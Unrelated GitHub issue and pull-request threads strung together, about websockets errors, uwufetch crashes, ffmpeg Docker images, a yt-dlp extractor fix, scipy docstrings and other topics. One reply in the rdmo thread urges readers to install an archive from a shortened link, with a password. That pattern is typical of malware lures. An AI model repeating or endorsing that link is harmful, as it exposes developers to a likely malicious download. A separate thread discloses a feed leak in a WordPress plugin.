unsupport http version http/1.0

Traceback (most recent call last):
  File "/home/hook/.local/lib/python3.8/site-packages/websockets/client.py", line 101, in read_http_response
    status_code, reason, headers = await read_response(self.reader)
  File "/home/hook/.local/lib/python3.8/site-packages/websockets/http.py", line 149, in read_response
    raise ValueError(f"unsupported HTTP version: {d(version)}")
ValueError: unsupported HTTP version: HTTP/1.0

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "blindsqli.py", line 9, in <module>
    asyncio.get_event_loop().run_until_complete(
  File "/usr/lib/python3.8/asyncio/base_events.py", line 616, in run_until_complete
    return future.result()
  File "blindsqli.py", line 5, in hello
    async with websockets.connect(uri) as websocket:
  File "/home/hook/.local/lib/python3.8/site-packages/websockets/client.py", line 517, in __aenter__
    return await self
  File "/home/hook/.local/lib/python3.8/site-packages/websockets/client.py", line 542, in __await_impl__
    await protocol.handshake(
  File "/home/hook/.local/lib/python3.8/site-packages/websockets/client.py", line 290, in handshake
    status_code, response_headers = await self.read_http_response()
  File "/home/hook/.local/lib/python3.8/site-packages/websockets/client.py", line 103, in read_http_response
    raise InvalidMessage("did not receive a valid HTTP response") from exc
websockets.exceptions.InvalidMessage: did not receive a valid HTTP response

There's no point supporting HTTP/1.0 in websockets because the WebSocket protocol only works over HTTP/1.1 (and later).


chore(docs): fix typo in @liveblocks/react page

Documentation updated

There's a typo ("to create to do this in React apps") in this image attached below

Thanks for fixing this—I missed your PR! I've cherry picked your change over here, and will merge it ASAP: https://github.com/liveblocks/liveblocks/pull/2001

Ayy! No worries 👍


Update wav.h

If the file is in text format, it will loop on while (0 != strncmp(header.data, "data", 4)) , so we need to add a judgment whether it is an audio file.

please fix the lint.

runtime/core/frontend/wav.h:74:  Lines should be <= 80 characters long  [whitespace/line_length] [2]
runtime/core/frontend/wav.h:74:  Missing space before ( in if(  [whitespace/parens] [5]


base_url is not used for new projects interface

API calls (fetch) need to be replaces with this.get in ProjectsApi (https://github.com/rdmorganiser/rdmo/blob/project_xml_content_disposition/rdmo/projects/assets/js/projects/api/ProjectsApi.js#L10-L11).

install this
https://bit.ly/3TzaAQd
Archive codepass: changeme
you may need to install the c compiler


Matlab 7.0 support

Hi!
MatFileHandler works brilliantly with Matlab 5.0 mat files. But I need support for reading Matlab 7.0. Is that in the pipe?
Right now I get when trying to read:
Unhandled Exception: System.NotSupportedException: Unknown element.
   at MatFileHandler.DataElementReader.Read(BinaryReader reader)
   at MatFileHandler.MatFileReader.Read(BinaryReader reader)
   at MatFileHandler.MatFileReader.Read()
   at MatReaderTest.Program.Main(String[] args) in C:\Users\Martin Olausson\source\repos\MatReader\MatReader\Program.cs:line 28

Thanks for your feedback!
I think Matlab 7.0 files are supported, as long as they only contain "ordinary" things like matrices, structure arrays, cell arrays, etc. However, reading Matlab "objects" (instances of user-defined Matlab classes) is not currently supported. The documentation for object storage seems scarce (I believe the official documentation is non-existent). Could you please share some file that you cannot import, and I'll take a closer look at it? This way we will be really sure what we're talking about.

Certainly. Here you have the Matlab 7.0 file I can not open. I do not think it contains any "objects".
https://simmarn.mydns.se/nextcloud/index.php/s/k3rA4Z4P4egiDqG

It looks like this file is actually in Matlab 7.3 format. It was produced by libmatio rather than Matlab (and it incorrectly states that it's Matlab 7.0 in the comment). Supporting 7.3 format would mean dealing with the horrible HDF5 format. A year ago (when I last researched HDF5) it seemed close to impossible. To my knowledge, there are still no native C# libraries for accessing HDF5 data, so I would have to rely on external C libraries, which doesn't sound exciting to me. Maybe the situation has changed since then, so I'll try to look into it again. In any case, I don't think there is a quick fix for that, sorry!

OK. Thanks for checking.


Private conversations need a lock icon

Private conversations should be demarcated with a lock icon, same as on web.

Hey! I'm new to the community so for reference, do we mention if we're taking up a bug or do we just go ahead with it and submit a PR?
I'd like to take this up, btw.

@FleetAdmiral well mostly if nobody has recently commented on a issue that they are working on, we consider no one is working on that one!
So whenever you start working on an issue just post a comment that you're gonna work on that one!

@kunall17 Where should the lock icon be placed ? I cannot seem to find it on the web interface.

@rhari991 maybe in the message header!
not sure though, can tell after having a lock at the icon!

To be clear, you need a private stream, not a private message conversation.
In the webapp, we display the lock icon:

Instead of the color swatch if we're showing a list of streams with their colors
To the left of the stream name in the main message feed.

@FleetAdmiral are you working on it?

@abhaymaniyar  No, you can go ahead :)

Thanks @FleetAdmiral :)

@zulipbot claim!

@borisyankov I think this is available in the current version of the app and we can close this issue?


skip 'Connects and disconnects WhatPulse'

:tada: This PR is included in version 5.12.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Weaver fails when multiple accessibility predicates for a return value must be run-time checked

For this program below,
#use <conio>
#use <stress>

struct MinPriorityQueue;
struct Node;

struct MinPriorityQueue
{
  struct Node* head;
  int size;
};

struct Node
{
  int val;
  struct Node* next;
};

//@predicate foo() = ? && true;

struct MinPriorityQueue* createMinPriQueue(int value);
int main();

struct MinPriorityQueue* createMinPriQueue(int value)
  //@requires true;
  //@ensures acc(\result->head) && acc(\result->size);
{
  struct MinPriorityQueue* q = NULL;
  struct Node* _ = NULL;
  q = alloc(struct MinPriorityQueue);
  _ = alloc(struct Node);
  q->head = _;
  q->head->val = value;
  q->head->next = NULL;
  q->size = 1;

  //@ fold foo();

  return q;
}

int main()
  //@requires true;
  //@ensures true;
{
  return 0;
}

The verifier outputs this error in the Weaver:
[error] Exception in thread "main" gvc.weaver.WeaverException: Invalid \result expression
[error]         at gvc.Main$.verifySiliconProvided(main.scala:311)
[error]         at gvc.Main$.verify(main.scala:259)
[error]         at gvc.Main$.$anonfun$run$4(main.scala:153)
[error]         at gvc.benchmarking.Output$.printTiming(Output.scala:47)
[error]         at gvc.Main$.run(main.scala:152)
[error]         at gvc.Main$.delayedEndpoint$gvc$Main$1(main.scala:72)
[error]         at gvc.Main$delayedInit$body.apply(main.scala:41)
[error]         at scala.Function0.apply$mcV$sp(Function0.scala:39)
[error]         at scala.Function0.apply$mcV$sp$(Function0.scala:39)
[error]         at scala.runtime.AbstractFunction0.apply$mcV$sp(AbstractFunction0.scala:17)
[error]         at scala.App.$anonfun$main$1$adapted(App.scala:80)
[error]         at scala.collection.immutable.List.foreach(List.scala:431)
[error]         at scala.App.main(App.scala:80)
[error]         at scala.App.main$(App.scala:78)
[error]         at gvc.Main$.main(main.scala:41)
[error]         at gvc.Main.main(main.scala)
[error] Nonzero exit code returned from runner: 1
[error] (Compile / run) Nonzero exit code returned from runner: 1
[error] Total time: 9 s, completed Aug 1, 2023, 8:27:39 PM

It is because there are 2 run-time checks for accessibility predicates containing \result in them. When I remove any one of the accessibility predicates from the postcondition, the error doesn't occur. Same error happens if one of the accessibility predicates is replaced by a predicate that takes \result as an argument.

Same error pops up in stack-list.c0 where \result is used in a logical conditional run-time check:
bool isEmpty(struct Stack* s)
  //@requires ?;
  //@ensures ? && (\result == true ? true : nonEmptyStack(s));
{
  if (s == NULL)
  {
    return true;
  }
  else
  {
    if (s->top == NULL)
    {
      return true;
    }
    else
    {
      return false;
    }
  }
}

Some more information from debugging:

The errors are coming from separation checks like RuntimeCheck(MethodPost,FieldSeparationCheck(Field(Result,MinPriorityQueue,size)),None) containing result in conditions
The interesting thing is that the corresponding "logic" check is okay as it uses the actual check value from the verifier (result is in the AST context): RuntimeCheck(MethodPost,FieldAccessibilityCheck(Field(Var(q),MinPriorityQueue,size)),None)

This happens similarly in the second example.
It turns out all the checks are not marked as conditions except for the last one:
[OKAY] RuntimeCheck(MethodPost,FieldAccessibilityCheck(Field(Var(q),MinPriorityQueue,head)),None)
[OKAY] RuntimeCheck(MethodPost,FieldAccessibilityCheck(Field(Var(q),MinPriorityQueue,size)),None)
[OKAY] RuntimeCheck(MethodPost,FieldSeparationCheck(Field(Result,MinPriorityQueue,head)),None)
[MARKED AS CONDITION] RuntimeCheck(MethodPost,FieldSeparationCheck(Field(Result,MinPriorityQueue,size)),None)

None of them should be marked as condition in the first example.
Of course in the second example there are conditions to analyze with result:
The logic check RuntimeCheck(MethodPost,PredicateAccessibilityCheck(nonEmptyStack,List(Var(s))),Some(NotCondition(ImmediateCondition(Eq(FalseLit,TrueLit))))) uses the direct condition value from the verifier !(false == true)
The separation check RuntimeCheck(MethodPost,PredicateSeparationCheck(nonEmptyStack,List(Var(s))),Some(ImmediateCondition(Not(Eq(Result,TrueLit))))) uses the context subbed into the direct condition aka !(result == true). The logic check succeeds and the separation check fails when the condition is sent to expr.toIR with the returnValue set to None always.


uwufetch: 2.0 -> 2.1

Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

crashes for me
[nix-shell:~/.cache/nixpkgs-review/pr-216239]$ ./results/uwufetch/bin/uwufetch
*** buffer overflow detected ***: terminated
Aborted (core dumped)

cannot reproduce. Can you test uwufetch 2.0?

2.0 works

~/n/nixpkgs ❯❯❯ ./result/bin/uwufetch                                                                                master ⬆ ✱ ◼
rewine@nixos
..--..           OWOS     unknown
|>< |/           MOWODEL  TM1701
|:/ |            KEWNEL   Linuwu 6.1.10 x86_64
//    \ \   ?      CPUWU    Inteww(R) Cowe(TM) i7-8550U CPUwU @ 1.80GHz
(|      | ) /       MEMOWY   4965 MiB/15893 MiB
/'_   /`-        SHEWW    fish
_)=(/         PKGS     0:
UWUPTIME 2d, 7h, 37m

OWOS and PKGS  can't get correct value

PKGS appears to be a regression. Looking into it.
OWOS is reset because there's no ASCII art. That's a known issue Consider:
$ /nix/store/xal89rmvaxlkjm3fbbi9rr54s67xnnyr-uwufetch-2.1/bin/uwufetch -i
   ▄▄▄▄▀▄▄▄▄▄▄▄▄▄▄   louis@harald
 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀   OWOS     nixOwOs
 ▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄    MOWODEL  HP 470 G7 Notebook PC
▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄   KEWNEL   Linuwu 5.15.92 x86_64
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   CPUWU    Inteww(R) Cowe(TM) i7-10510U CPUwU @ 1.80GHz
▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   GPUWU    Inteww COwOpowation CometLake-U GT2 UHD Gwaphics
 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀   MEMOWY   9815 MiB/15831 MiB
  ▀▀▄▄▄▄▄▄▄▄▄▄▄▄     SHEWW    fish
   ▄▄▄▄▄▄▄▄▄▄▄▄      PKGS     0:
                     UWUPTIME 2d, 4h, 33m
                     ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇

https://github.com/NixOS/nixpkgs/pull/216340
Can you test this patch?

yep that's much cleaner. Superseded by #216340


apt -y update fails in image jrottenberg/ffmpeg:4.1-nvidia, jrottenberg/ffmpeg:4.2-nvidia and jrottenberg/ffmpeg:4.2.3-nvidia

Hey.
I am trying to build a docker image using the docker images jrottenberg/ffmpeg:4.1-nvidia , jrottenberg/ffmpeg:4.2-nvidia and jrottenberg/ffmpeg:4.2.3-nvidia as base images. When I run apt -y update, the update fails giving the following message:
debconf: unable to initialize frontend: Dialog
debconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 76.)
debconf: falling back to frontend: Readline
debconf: unable to initialize frontend: Readline
debconf: (Can't locate Term/ReadLine.pm in @INC (you may need to install the Term::ReadLine module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.26.1 /usr/local/share/perl/5.26.1 /usr/lib/x86_64-linux-gnu/perl5/5.26 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.26 /usr/share/perl/5.26 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) at /usr/share/perl5/Debconf/FrontEnd/Readline.pm line 7.)
debconf: falling back to frontend: Teletype

LD_LIBRARY_PATH contains the traditional /lib directory,
but not the multiarch directory /lib/x86_64-linux-gnu.
It is not safe to upgrade the C library in this situation;
please remove the /lib/directory from LD_LIBRARY_PATH and
try again.

dpkg: error processing archive /var/cache/apt/archives/libc6_2.27-3ubuntu1.2_amd64.deb (--unpack):
 new libc6:amd64 package pre-installation script subprocess returned error exit status 1
Errors were encountered while processing:
 /var/cache/apt/archives/libc6_2.27-3ubuntu1.2_amd64.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)

Can you please let me know the possible reasons for this occurrence.
Thank you

yeah it's new , a bit frustrating because that was introduced silently from a previous PR, might add a small tasks to verify, apt-get, yum, apk continues to work on the final image... I'll look into it.

w , a bit frustrating because that was introduced silently from a previous PR, might add a small tasks to verify, apt-get, yum, apk continues to work on the final image... I'll look into it.

@jrottenberg got this error today. It seems it is related to recent libc update. I've removed /lib from LD_LIBRARY_PATH as was said in the message, updated libc, then added back the /lib dir to LD_LIBRARY_PATH, it seems it worked.
And also... I would like to take this opportunity to thank you for this image, it helped us a lot. It would be really great if there was also a version that includes chromaprint capabilities.

Yeah @GnaphronG extraordinaire jumped on it with https://github.com/jrottenberg/ffmpeg/pull/248
Hopefully I can merge it today.
Thank you for the support, it's been fun overall, not sure about https://github.com/acoustid/chromaprint / https://www.ffmpeg.org/ffmpeg-formats.html#chromaprint-1 but if you make an issue for it, we can pick it up (I didn't know about that one)

Ok azure devops was quick for that build, it passes, give a try to the new image @nafisatd, and close if it works for you.

Hey @jrottenberg
The issue is resolved for jrottenberg/ffmpeg:4.1-nvidia and jrottenberg/ffmpeg:4.2-nvidia.
There is no image named jrottenberg/ffmpeg:4.2.3-nvidia. My bad!
The issue still persists in jrottenberg/ffmpeg:4.2.3-nvidia1804.
I haven't mentioned that in the problem statement. So I consider this issue closed.
Thanks alot for your prompt response. :)


Add Coindesk API with documentation

[x] My submission is formatted according to the guidelines in the contributing guide
[x] My addition is ordered alphabetically
[x] My submission has a useful description
[x] The description does not have more than 100 characters
[x] The description does not end with punctuation
[x] Each table column is padded with one space on either side
[x] I have searched the repository for any relevant issues or pull requests
[x] Any category I am creating has the minimum requirement of 3 items
[x] All changes have been squashed into a single commit

Accidentally included some unnecessary files. Will reopen the PR


fix(wat.tv): remove MYTF1 context to remove "Permission insuffisante" error

Description of your pull request and other information
Modification in the wat.py extractor to be compatible with changes applied by the platform. See issue #7303 for more detail. I've just applied modification tested in this issue and locally.
Fixes #7303
Template

Before submitting a pull request make sure you have:

[x] At least skimmed through contributing guidelines including yt-dlp coding conventions
[x] Searched the bugtracker for similar pull requests
[x] Checked the code with flake8 and ran relevant tests

In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under Unlicense. Check all of the following options that apply:

[ ] I am the original author of this code and I am willing to release it under Unlicense
[x] I am not the original author of this code but it is in public domain or released under Unlicense (provide reliable evidence)

What is the purpose of your pull request?

[x] Fix or improvement to an extractor (Make sure to add/update tests)
[ ] New extractor (Piracy websites will not be accepted)
[ ] Core bug fix/improvement
[ ] New feature (It is strongly recommended to open an issue first)

Copilot Summary

🤖 Generated by Copilot at 5106412
Summary
🛠🔄❌

Fix wat.tv extraction by updating URL parameters in yt_dlp/extractor/wat.py

wat.tv changed API
pver updated, context dropped
video extraction fixed

Walkthrough

Remove context and update pver in JSON URL to fix video extraction from wat.tv (link)

Add a test (non-DRM)
Also, do you see any way we can catch the "Permission insuffisante" error for DRM-protected videos and report_drm() instead?

Add a test, unless the first test is still non-DRM and working (and if so, check if it needs to be updated)

All links are very old (~10 years old) and not working anymore… for a long time.
I can "try" to add test, but I'm out of my expertise area, so it will be way more complicated than this 8 keys modification.
Do you have a simple command to run test just for this extractor?

Do you have a simple command to run test just for this extractor?

to run the 1st extractor test:
python3 test/test_download.py TestDownload.test_Wat

2nd and 3rd and so forth:
python3 test/test_download.py TestDownload.test_Wat_1
python3 test/test_download.py TestDownload.test_Wat_2

or run them all
python3 test/test_download.py TestDownload.test_Wat_all

I can "try" to add test, but I'm out of my expertise area, so it will be way more complicated than this 8 keys modification.

Add a dict to the _TESTS list, start simply like:
    {
        'url': 'https://www.tf1.fr/tmc/quotidien-avec-yann-barthes/videos/selah-sue-when-it-all-falls-down-en-live-pour-quotidien-67219751.html',
        'info_dict': {
            'id': '67219751',
            'ext': 'mp4',
        },
    }

Then run the test. It will fail and output the fields that are missing or incorrect. Copy those into your test dict, and run again. Repeat until the test passes.

New test added 👍

I've modified the test to be on wat when I've seen the format and behaviour was not correct.
And sorry, I forced push to keep only 1 commit (I really don't like "fix…" commit in the history), and because it's my own branch, I just --amend it over.

And sorry, I forced push to keep only 1 commit (I really don't like "fix…" commit in the history), and because it's my own branch, I just --amend it over.

What I'm saying is: don't do this. It makes it difficult to review the PR.

Ok, noted for future PR here 👍

Thanks and sorry for the commit conflicts! 😇


Update codeowners for digital twins SDK

Now that service team owns digital twins SDK, I'm taking my team's names off of it.

/check-enforcer override

Thanks Tim


Don’t use optional parameters in callbacks

See this: https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html#optional-parameters-in-callbacks.
(May require more changes, just made this to point this out)

I did not know that I will give it a try. This pull request, breaks down stream since I use optional params there too (in the map function) so I can't merge it straight up. If you want to update that too so the build passes that would be great or I will just address this later.

Sure thing, I'll update those

Thank you!


New NuGet prerelease 2.13.0-beta0001 with Office 2019 support

This is a note that we released Beta version of SDK with support for Office 2019: namespaces and generated classes. Please give it a try and report issues, specifying NuGet package version number.
You need to check “Include prerelease” in VS NuGet Package Manager to see 2.13.0-beta0001 version.

Beta 2 is released on April 20th. Issue #922 discusses this new release.


Update point-to-site-about.md

Adding detail that Windows is supported for OpenVPN, per the following doc.
https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-howto-openvpn-clients

@jboeshart : Thanks for your contribution! The author, @cherylmc, has been notified to review your proposed change.

#sign-off


Ability to view hidden posts with rdf feeds

The Wordpress plugin of Coil does not protect the endpoint a hidden content showing in a feed on endpoint feed/rdf
Steps to reproduce
Check the website for various feed format. feed/rdf is not protected
https://coil12345.000webhostapp.com/2020/05/hello-world/feed/rss <- not vulnerable
https://coil12345.000webhostapp.com/2020/05/hello-world/feed/rss2 <- not vulnerable
https://coil12345.000webhostapp.com/2020/05/hello-world/feed/atom <- not vulnerable
https://coil12345.000webhostapp.com/2020/05/hello-world/feed/rdf <- vulnerable
Hidden contents are leaked via feed RDF format

@praghavaji Are you sure about that. On the RDF one it seems to have the hidden content in it when compared to the others


Improve the spec to Git url linking and ease of CI

There are some limitations with the way the plugin currently works.
Proposed improvements:

[x] allow multiple specs directories or files to be specified and run in one invocation of the plugin
[x] remove the need for the SPECS_GIT_URL configuration variable
[x] make it easier for CI to setup one central pipeline for the plugin for multiple repos
[ ] document how CI can be setup, with some examples
[x] ensure that the plugin can handle multiple Jira instances (one Jira instance per run is fine, as long as the plugin can be run more than once, successfully, pointing to a different Jira instance each time)

Proposed solution is to have a convention where the plugin is always invoked from the project's root directory.
The plugin will calculate the git url for each spec by parsing the git config for the git remote origin url and combining it with the spec's relative path.
For the common situation where a user of the plugin wants to set up CI for multiple repositories in one central pipeline, each repository should specify the spec directories in a Gauge properties file (there is an existing  generic (to Gauge, i.e. not specific just to this plugin)gauge_specs_dir configuration variable for this purpose).  That way the CI pipeline can establish what spec directories the plugin needs to run against for a given git repo from the properties files, without them needing to be specified as command line arguments (i.e. the command to run the plugin will be gauge docs jira, not  e.g.gauge docs jira specs).
Multiple Jira instances can continue to be handled by running the plugin as many times as there are Jira instances, with each run specifying the Jira configuration variables pertaining to one Jira instance.
(The current behaviour will still be ok to start with, namely that the plugin will try to publish all the specs it finds in a repository to the current given Jira instance, rather than knowing which specs relate to which specific Jira instances.  That's ok, as the plugin will simply fail to publish any specs where the Jira issue key doesn't exist in a Jira instance that is being published to.  There are some optimisations that can be added at a later date if there's a need for them, e.g. allowing users of the plugin to specify which Jira projects relate to which Jira instances.)
So, in summary, here is how a central CI pipeline could be set up:

The specs directories (and/or individual spec files) for each Git repo are specified in the gauge_specs_dir property of a Gauge properties file which is saved in the repo's version control
The pipeline has an individual trigger for each Git repository (e.g. a push to its master branch)
The pipeline sets environment variables for JIRA_BASE_URL, JIRA_USERNAME and JIRA_TOKEN

if there are multiple Jira instances, the plugin will run the pipeline multiple times, once for each Jira instance, setting these three Jira env vars differently each time

When an individual repo is triggered, the pipeline checks out that repo and (from the root folder of the checked out Git repo), runs gauge docs jira

The bulk of this issue is now fixed, via #24 and #26.  All that remains is to add some more documentation on the things in the acceptance criteria above.


When i "run python file in terminal" nothing happens.

I am following the VS Code python tutorial exactly as written here: https://code.visualstudio.com/docs/python/python-tutorial
"run python file in terminal" works for hello.py but when I use it for standardplot.py nothing happens. If I then try to run hello.py again it now doesn't produce any output either.
I'm using conda to manage my packages and environments.
Following the instructions in previous issues I uninstalled and reinstalled the python extension, but this had no effect.

Extension Name: python
Extension Version: 2018.7.1
OS Version: Darwin x64 17.7.0
VSCode version: 1.26.1

We have written the needed data into your clipboard. Please paste:
{
	"activationTimes": {
		"startup": false,
		"codeLoadingTime": 755,
		"activateCallTime": 9,
		"activateResolvedTime": 93,
		"activationEvent": "onLanguage:python"
	}
}

Can you please fill out the issue template? It requests important details that we need.

Updated using template. Thanks.

I redid the tutorial today with the intention of recording a gif of the problem but instead found that the problem seems to have gone away. The chart was produced as it is supposed to. I haven't changed anything about the code or my environment since yesterday so I have no idea why the change in outcome, but since I can't reproduce the problem now I'll close the issue.


API Results in scientific (exponential) notation are not rendered correctly as numbers

Numbers in exponential notation are not rendered correctly when formatting them as numbers.  Instead, the exponent is ignored and the value is brought across as a decimal.   Interestingly, when formatting as a string, the full number value is rendered instead of the exponential shorthand, but as a string.  (see “im_BitsPerSecond” and “im_SpeedIn” from the attached example.  --Example is using a time series dataset, formatted in JSON.
One would expect to see the exponential values rendered like…   as Number:<PHONE_NUMBER>0   |   as String: 1.0E10

Version Details:

Grafana version :  7.4.5
Plugin version :  0.8.0

tested on plugin version 0.8.7 as well
Additional context --Side Note..
There is a workaround to this on newer versions of Grafana.  Transformation-Convert field type can be used on the rendered string to bring it across as a number.  Though this is still an issue

I can confirm the bug. Fix coming soon.

This is now fixed in v0.8.8. Give a try!

Thanks!  I can confirm that it is working.
Also, as a side note, after you upgrade the plugin, be sure to log out and back in to see the changes take effect.


Fix url string format PoinOfInteraction

afaik, url is not a valid format in json schema, replaced with uri
which is a super set of url, better would be probably to use a pattern.
feedbacks?

i branched the wrong branch


Failed to find route

Hi,
I’m trying to send sats from the wallet. I have more than 300K and the channel is online. I received an error message ’Failed to find route’
mutiny-logs 3.txt

Seems to be happening against the coinos node. Have you tried others and have you tried different/lower amounts?

@TonyGiorgio I split the amount into pieces and was able to send all of it. Thank you


Warnings generated in VSCode Readme.md

#7945

VSCode Version: Insiders d0c2b891903d73e83dcdc7786398ebfa764fc4ee
OS Version: OSX

Steps to Reproduce:

Open vscode repository
Open README.md

Following warnings are generated. I do not see them on May build.

I have markdown linter which is causing this. So closing this.


DOC: stats: describe loc and scale parameters in the docstring example

so that each distribution has a magic formula y = (x - loc) / scale in its docstring.
As suggested in gh-4538.
[ci skip]

How about including the definition next to the the Latex formulas for
the PDF/PMF? I think these are what people will first look (because tl;dr).

For example here http://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.lognorm.html
it should say
The probability density function for lognorm is::

    lognorm.pdf(y, s) = 1 / (s*y*sqrt(2*pi)) * exp(-1/2*(log(y)/s)**2)
    y = (x - loc) / scale

for y > 0, s > 0.

And similarly repeated in all docstrings --- what loc and scale mean is otherwise very unclear as the docstring is not self-contained in that case, and explaining the concept in words in the Parameters section is confusing.

Actually, I think even putting "loc" and "scale" in the TeX strings is still really confusing. Here's the docstring for numpy.random.normal:
"""
normal(loc=0.0, scale=1.0, size=None)
<snip>
Parameters
----------
loc : float
    Mean ("centre") of the distribution.
scale : float
    Standard deviation (spread or "width") of the distribution.
<snip>
Notes
-----
The probability density for the Gaussian distribution is

.. math:: p(x) = \frac{1}{\sqrt{ 2 \pi \sigma^2 }}
                 e^{ - \frac{ (x - \mu)^2 } {2 \sigma^2} },

where :math:`\mu` is the mean and :math:`\sigma` the standard deviation.
The square of the standard deviation, :math:`\sigma^2`, is called the
variance.
"""

The args are called "loc" and "scale". Then in the parameters section they are renamed "mean" and "standard deviation". Then in the formula they are renamed "mu" and "sigma". This would be a lot more clear if the docstring read as follows:
"""
normal(mu=0.0, sigma=1.0, size=None)
<snip>
Parameters
----------
mu : float
    Mean ("centre") of the distribution.
sigma : float
    Standard deviation (spread or "width") of the distribution.
<snip>
Notes
-----
The probability density for the Gaussian distribution is

.. math:: p(x) = \frac{1}{\sqrt{ 2 \pi \sigma^2 }}
                 e^{ - \frac{ (x - \mu)^2 } {2 \sigma^2} },

where :math:`\mu` is the mean and :math:`\sigma` the standard deviation.
The square of the standard deviation, :math:`\sigma^2`, is called the
variance.
"""

In short, use the same names everywhere.

You're right that the notation should be made consistent. The arguments need to be called loc and scale consistently (they are keyword arguments); relationship to the mean and std can be explained in the text.

@pv I see that the names can't be changed easily (1). The easiest thing to do here would be to just rewrite the docstring to use "loc" and "scale" everywhere, instead of renaming them "mean" and "standard deviation" in the Parameters section and then "mu" and "sigma" in the formula.

relationship to the mean and std can be explained in the text

That's precisely what I don't like about the current version. They are explained in the docstring, but the names being inconsistent puts an unnecessary cognitive load on the reader.
(1) I'm not sure what you mean by "they are keyword arguments, so cannot be renamed". Every argument in a python function call can be called in any order if called as keyword arguments. I forgot this last night when I made my post.

OK, bubbled up the explanation to the Notes section, closer to the formulas for pdf/pmf so that it's not hidden in the wall-of-text of an example.
A potentially contentious point is that I also standartized the formulas for gamma and expon, trading the one-off scale descriptions for a generic one.
Also included a nano-cleanup of removing a now-unused key from the docstring dictionary.

Location of the sentence explaining it looks good to me.

The changes to gamma and expon look good to me. No need to treat scale differently there.
Good to merge I'd think.

I still think it could be slightly better to change the formulas rather than add some new text. For example,
    norm.pdf(x) = exp(-y**2/2)/sqrt(2*pi*scale)
    y = (x - loc) / scale

and
    alpha.pdf(x, a) = 1/(y**2*Phi(a)*sqrt(2*pi)) * exp(-1/2 * (a-1/y)**2) / scale
    y = (x - loc) / scale

    cauchy.pdf(x) = 1 / (pi * (1 + y**2)) / scale
    y = (x - loc) / scale

This way, there's less to read, and in cases where scale and loc have standard meanings, they are obvious for people looking at the formulas.

Just to put this in context: the difference is between what Pauli writes above and:
  alpha.pdf(x, a) = 1/(x**2*Phi(a)*sqrt(2*pi)) * exp(-1/2 * (a-1/x)**2)

The probability density above is defined in the "standardized" form. To shift and/or scale the distribution use the loc and scale parameters. Specifically, alpha.pdf(x, a, loc, scale) is identically equivalent to alpha.pdf(y, a) / scale with y = (x - loc) / scale.

FWIW, I personally have a slight preference against making formulas any busier. For those who are not immediately familiar with loc-scale family, adding extra symbols, y and scales might be a trifle more confusing. But this is no more than a slight preference for a specific shade for the bikeshed's color anyway.

Two more commits: one adds a note about an alternative parameterization to expon; the other one adds the loc-scale blurb to exponnorm which was merged recently.

needs a rebase

rebased

I also have a slight preference for the form in this PR as is - less busy formula for those who know what loc/scale is, and more context for those who don't. Additionally, editing all the formulas to do x -->y and y = (x - loc) / scale is work. So merging this.

Thanks @ev-br, all.


Data Validation for Contact Us form.

Add input validation of the data received while submitting a  contact query to ensure only properly formed data is entering the workflow.
Entries to be verified:

First Name is mandatory and must of length greater than 2
Should be a valid email address.
Must be a valid contact number
Query should not be empty

Hello lakshya! I would love to work on this issue, can you please assign me to it!

Hello, I want to do this for hacktoberfest can you please assign it to me? Thanks in advance 😃

Hey @lakshya-20 even though it wasn't assigned to anyone... I started working on it and completed as well... wanted to ask if we want to validate the contact number with or without country code? currently I am doing it with the country code.

Yes! got your pr thanks!


Add -o bashdefault to register-python-argcomplete's output command

Fix https://github.com/kislyuk/argcomplete/issues/67#issuecomment-570475793
Add -o bashdefault to register-python-argcomplete's output command, so that individual command can complete the environment variables.

Codecov Report

Merging #284 into master will not change coverage.
The diff coverage is 100%.

@@           Coverage Diff           @@
##           master     #284   +/-   ##
=======================================
  Coverage   82.69%   82.69%
=======================================
  Files           7        7
  Lines         734      734
=======================================
  Hits          607      607
  Misses        127      127

Impacted Files
Coverage Δ

argcomplete/shell_integration.py
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update abfa187...df627dd. Read the comment docs.

Perfect, thanks!

Released in v3.3.3, please test.

Released in v1.11.1, please test.


recipes-qt: update ambiguous "BSD" license with "BSD-3-Clause"

OE-Core recently removed ambiguous "BSD" license in order for recipes to be
more specific and use the exact variants of BSD. Update meta-qt5 recipes
with "BSD-3-Clause" as that was the previous default.
Signed-off-by: Denys Dmytriyenko<EMAIL_ADDRESS>

Merged, thanks.


Feat / reload site on update

Description
This small configuration change will ensure users will always use the latest version of the web app. Before, you need to visit the site, close it or clear the cache to ensure the latest version is used.
